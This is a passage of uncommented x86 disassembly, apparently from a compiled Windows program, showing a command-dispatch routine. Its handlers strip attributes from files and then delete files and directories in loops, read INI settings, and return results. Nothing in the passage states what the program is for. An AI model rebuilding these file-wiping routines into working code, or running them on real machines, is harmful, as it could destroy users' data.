cmp dword [ebp - 0x3b0], 0
jne 0x5a4c66
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1e44]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e44]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov dword [ebp - 0x658], 0
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 0
push 0
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x1e4c]
push eax
lea ecx, [ebp - 0x1e50]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e50]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1e4c]
lea edx, [ebp - 0x1e48]
call fcn.0058ff30
mov eax, dword [ebp - 0x1e48]
call fcn.00405f28
push eax
mov eax, dword [0x5d5ab8]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a4d41
lea edx, [ebp - 0x1e54]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e54]
push eax
lea eax, [ebp - 0x1e58]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e58]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1e5c]
push eax
lea ecx, [ebp - 0x1e60]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e60]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1e5c]
call fcn.005936d4
test al, al
je 0x5a4ddd
push dword [ebp - 0x654]
push dword [ebp - 0x658]
lea eax, [ebp - 0x1e64]
call fcn.0040b2d8
mov eax, dword [ebp - 0x1e64]
push eax
lea edx, [ebp - 0x1e68]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e68]
push eax
lea eax, [ebp - 0x1e6c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e6c]
pop eax
pop edx
call fcn.00590064
jmp 0x5a4e36
push dword [ebp - 0x65c]
push dword [ebp - 0x660]
lea eax, [ebp - 0x1e70]
call fcn.0040b2d8
mov eax, dword [ebp - 0x1e70]
push eax
lea edx, [ebp - 0x1e74]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e74]
push eax
lea eax, [ebp - 0x1e78]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e78]
pop eax
pop edx
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af4fc
call fcn.00405ec0
jne 0x5a5058
xor eax, eax
push ebp
push 0x5a5051
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
xor ebx, ebx
test ebx, ebx
je 0x5a4e90
mov eax, ebx
call fcn.00404b38
lea eax, [ebp - 0x1e80]
push eax
lea ecx, [ebp - 0x1e84]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e84]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1e80]
lea edx, [ebp - 0x1e7c]
call fcn.0058ff30
mov eax, dword [ebp - 0x1e7c]
mov cl, 1
mov dl, 1
call fcn.0057a77c
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
mov dword [ebp - 0x564], eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x5a4f79
mov dword [ebp - 0x568], eax
push 0x80
lea ecx, [ebp - 0x1e88]
mov edx, dword [ebp - 0x568]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e88]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
lea ecx, [ebp - 0x1e8c]
mov edx, dword [ebp - 0x568]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e8c]
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x788]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x789], al
dec dword [ebp - 0x568]
cmp dword [ebp - 0x568], 0
jne 0x5a4f03
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x5a4fbf
mov dword [ebp - 0x568], eax
lea ecx, [ebp - 0x1e90]
mov edx, dword [ebp - 0x568]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e90]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
dec dword [ebp - 0x568]
cmp dword [ebp - 0x568], 0
jne 0x5a4f8b
mov eax, ebx
call fcn.00404b38
lea eax, [ebp - 0x1e98]
push eax
lea ecx, [ebp - 0x1e9c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e9c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1e98]
lea edx, [ebp - 0x1e94]
call fcn.0058ff30
mov eax, dword [ebp - 0x1e94]
mov cl, 1
mov dl, 1
call fcn.0057a77c
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x564]
jne 0x5a4e85
mov eax, ebx
call fcn.00404b38
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af51c
call fcn.00405ec0
jne 0x5a5314
xor eax, eax
push ebp
push 0x5a530d
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1ea0]
push eax
lea ecx, [ebp - 0x1ea4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ea4]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ea0]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a50ff
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1ea8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ea8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea eax, [ebp - 0x1eb4]
push eax
lea ecx, [ebp - 0x1eb8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1eb8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1eb4]
lea edx, [ebp - 0x1eb0]
call fcn.005939c8
mov eax, dword [ebp - 0x1eb0]
lea edx, [ebp - 0x1eac]
call fcn.0058ff30
mov edx, dword [ebp - 0x1eac]
mov eax, dword [0x5d5fd0]
call fcn.00405aec
lea eax, [ebp - 0x1ebc]
push eax
lea ecx, [ebp - 0x1ec0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ec0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ebc]
call fcn.005936d4
mov edx, dword [0x5d5c54]
mov byte [edx], al
lea eax, [ebp - 0x1ec4]
push eax
lea ecx, [ebp - 0x1ec8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ec8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ec4]
call fcn.005936d4
mov edx, dword [0x5d5984]
mov byte [edx], al
mov eax, dword [0x5d5fa0]
mov byte [eax], 0
mov eax, dword [0x5d5f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x57a1a4]
call fcn.0042a3cc
mov edx, dword [0x5d5cc8]
mov dword [edx], eax
mov eax, dword [0x5d5cc8]
mov eax, dword [eax]
call fcn.0058edbc
call fcn.005b4578
inc eax
jne 0x5a5233
mov eax, dword [0x5d5cc8]
mov eax, dword [eax]
call fcn.0042a884
mov eax, dword [0x5d5fa0]
cmp byte [eax], 0
je 0x5a5213
mov eax, dword [0x5d5f04]
mov byte [eax], 0
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a5290
lea edx, [ebp - 0x1ecc]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1ecc]
push eax
lea eax, [ebp - 0x1ed0]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1ed0]
xor edx, edx
pop eax
call fcn.0059002c
lea edx, [ebp - 0x1ed4]
mov eax, dword [0x5d5f94]
mov eax, dword [eax]
call fcn.004205ec
mov eax, dword [ebp - 0x1ed4]
push eax
lea edx, [ebp - 0x1ed8]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1ed8]
push eax
lea eax, [ebp - 0x1edc]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1edc]
pop eax
pop edx
call fcn.00590064
mov eax, dword [0x5d5f94]
mov eax, dword [eax]
call fcn.00404b38
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af534
call fcn.00405ec0
jne 0x5a55de
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1ee0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ee0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea edx, [ebp - 0x1ee4]
mov eax, dword [ebp - 0x3b0]
call fcn.0058fff8
mov eax, dword [ebp - 0x1ee4]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
lea eax, [ebp - 0x1ee8]
push eax
lea ecx, [ebp - 0x1eec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1eec]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ee8]
call fcn.0040b328
cmp eax, 6
ja case.default.0x5a53c4
jmp dword [eax*4 + 0x5a53cb]
lea edx, [ebp - 0x1ef0]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bcb8
mov edx, dword [ebp - 0x1ef0]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a53c4
lea edx, [ebp - 0x1ef4]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d2c
mov edx, dword [ebp - 0x1ef4]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a53c4
lea edx, [ebp - 0x1ef8]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bcf0
mov edx, dword [ebp - 0x1ef8]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 0
je 0x5a547d
mov eax, dword [ebp - 0x790]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 0
jle case.default.0x5a53c4
mov eax, dword [ebp - 0x3c0]
cmp byte [eax], 0x2e
jne case.default.0x5a53c4
lea eax, [ebp - 0x3c0]
mov ecx, 1
mov edx, 1
call fcn.00405fd0
jmp case.default.0x5a53c4
lea edx, [ebp - 0x1f00]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1f00]
lea edx, [ebp - 0x1efc]
call fcn.00589dcc
mov edx, dword [ebp - 0x1efc]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a53c4
lea edx, [ebp - 0x1f10]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1f10]
lea edx, [ebp - 0x1f0c]
call fcn.0042dc94
mov eax, dword [ebp - 0x1f0c]
lea edx, [ebp - 0x1f08]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1f08]
lea edx, [ebp - 0x1f04]
call fcn.00589dcc
mov edx, dword [ebp - 0x1f04]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a53c4
lea edx, [ebp - 0x1f18]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bc00
mov eax, dword [ebp - 0x1f18]
lea edx, [ebp - 0x1f14]
call fcn.00589dcc
mov edx, dword [ebp - 0x1f14]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a53c4
movzx eax, byte [0x5aeaac]
push eax
lea eax, [ebp - 0x1f1c]
push eax
mov ecx, 0x5ae478
mov edx, 0x5aea80
mov eax, dword [ebp - 0x3c0]
call fcn.004ad574
mov edx, dword [ebp - 0x1f1c]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
lea eax, [ebp - 0x1f20]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1f20]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af54c
call fcn.00405ec0
jne 0x5a58c7
xor eax, eax
push ebp
push 0x5a58c0
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1f24]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f24]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a5684
lea edx, [ebp - 0x1f28]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1f28]
push eax
lea eax, [ebp - 0x1f2c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1f2c]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1f34]
push eax
lea ecx, [ebp - 0x1f38]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f38]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1f34]
lea edx, [ebp - 0x1f30]
call fcn.0058ff30
cmp dword [ebp - 0x1f30], 0
je 0x5a571c
lea eax, [ebp - 0x1f40]
push eax
lea ecx, [ebp - 0x1f44]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f44]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1f40]
lea edx, [ebp - 0x1f3c]
call fcn.0058ff30
cmp dword [ebp - 0x1f3c], 0
jne 0x5a572c
lea eax, [ebp - 0x3c0]
call fcn.00405a98
jmp 0x5a5876
mov eax, 0x6590
call fcn.00402fc0
mov esi, eax
xor eax, eax
push ebp
push 0x5a5861
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1f4c]
push eax
lea ecx, [ebp - 0x1f50]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f50]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1f4c]
lea edx, [ebp - 0x1f48]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f48]
call fcn.00405f28
push eax
push 0x6590
push esi
push 0x5aeab0
lea eax, [ebp - 0x1f58]
push eax
lea ecx, [ebp - 0x1f5c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f5c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1f58]
lea edx, [ebp - 0x1f54]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f54]
call fcn.00405f28
push eax
lea eax, [ebp - 0x1f64]
push eax
lea ecx, [ebp - 0x1f68]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f68]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1f64]
lea edx, [ebp - 0x1f60]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f60]
call fcn.00405f28
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
lea eax, [ebp - 0x3c0]
mov edx, esi
call fcn.00405c90
mov eax, esi
call fcn.00402fdc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a5876
lea eax, [ebp - 0x1f6c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1f6c]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af56c
call fcn.00405ec0
jne 0x5a5e3a
lea edx, [ebp - 0x1f70]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x1f70]
mov eax, dword [0x5d6094]
call fcn.00405aec
lea eax, [ebp - 0x1f74]
push eax
lea ecx, [ebp - 0x1f78]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f78]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1f74]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5a59b9
push 0
lea eax, [ebp - 0x1f80]
push eax
lea eax, [ebp - 0x1f84]
push eax
lea ecx, [ebp - 0x1f88]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f88]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1f84]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1f80]
lea edx, [ebp - 0x1f7c]
call fcn.005939c8
mov edx, dword [ebp - 0x1f7c]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
xor eax, eax
push ebp
push 0x5a5e2b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1f90]
push eax
lea ecx, [ebp - 0x1f94]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f94]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1f90]
lea edx, [ebp - 0x1f8c]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f8c]
push eax
lea eax, [ebp - 0x1f9c]
push eax
lea ecx, [ebp - 0x1fa0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fa0]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1f9c]
lea edx, [ebp - 0x1f98]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f98]
push eax
lea eax, [ebp - 0x1fa8]
push eax
lea ecx, [ebp - 0x1fac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fac]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1fa8]
lea edx, [ebp - 0x1fa4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fa4]
push eax
lea eax, [ebp - 0x1fb4]
push eax
lea ecx, [ebp - 0x1fb8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fb8]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1fb4]
lea edx, [ebp - 0x1fb0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fb0]
call fcn.0040b328
push eax
lea eax, [ebp - 0x1fc0]
push eax
lea ecx, [ebp - 0x1fc4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fc4]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1fc0]
lea edx, [ebp - 0x1fbc]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fbc]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1fcc]
push eax
lea ecx, [ebp - 0x1fd0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fd0]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1fcc]
lea edx, [ebp - 0x1fc8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fc8]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1fd8]
push eax
lea ecx, [ebp - 0x1fdc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fdc]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1fd8]
lea edx, [ebp - 0x1fd4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fd4]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1fe4]
push eax
lea ecx, [ebp - 0x1fe8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fe8]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1fe4]
lea edx, [ebp - 0x1fe0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fe0]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1ff0]
push eax
lea ecx, [ebp - 0x1ff4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ff4]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ff0]
lea edx, [ebp - 0x1fec]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fec]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1ffc]
push eax
lea ecx, [ebp - 0x2000]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2000]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ffc]
lea edx, [ebp - 0x1ff8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ff8]
call fcn.005936d4
push eax
lea eax, [ebp - 0x2008]
push eax
lea ecx, [ebp - 0x200c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x200c]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2008]
lea edx, [ebp - 0x2004]
call fcn.0058ff30
mov eax, dword [ebp - 0x2004]
call fcn.0040b328
push eax
lea eax, [ebp - 0x2014]
push eax
lea ecx, [ebp - 0x2018]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2018]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2014]
lea edx, [ebp - 0x2010]
call fcn.0058ff30
mov eax, dword [ebp - 0x2010]
call fcn.0040b328
push eax
lea eax, [ebp - 0x2020]
push eax
lea ecx, [ebp - 0x2024]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2024]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2020]
lea edx, [ebp - 0x201c]
call fcn.0058ff30
mov eax, dword [ebp - 0x201c]
push eax
lea eax, [ebp - 0x202c]
push eax
lea ecx, [ebp - 0x2030]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2030]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x202c]
lea edx, [ebp - 0x2028]
call fcn.0058ff30
mov eax, dword [ebp - 0x2028]
push eax
lea edx, [ebp - 0x2034]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x2034]
pop edx
pop ecx
call fcn.0057ac0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af584
call fcn.00405ec0
jne 0x5a680b
lea edx, [ebp - 0x2038]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x2038]
mov eax, dword [0x5d6094]
call fcn.00405aec
push 0x5ae75c
lea eax, [ebp - 0x2040]
push eax
lea ecx, [ebp - 0x2044]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2044]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2040]
lea edx, [ebp - 0x203c]
call fcn.0058ff30
mov eax, dword [ebp - 0x203c]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e5a4
push 0x5ae75c
lea eax, [ebp - 0x204c]
push eax
lea ecx, [ebp - 0x2050]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2050]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x204c]
lea edx, [ebp - 0x2048]
call fcn.0058ff30
mov eax, dword [ebp - 0x2048]
lea ecx, [ebp - 0x42c]
lea edx, [ebp - 0x428]
call fcn.0058e5a4
cmp dword [ebp - 0x42c], 0
jne 0x5a5f47
lea eax, [ebp - 0x42c]
mov edx, 0x5ade98
call fcn.00405b30
xor eax, eax
push ebp
push 0x5a6804
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x2054]
push eax
lea ecx, [ebp - 0x2058]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2058]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2054]
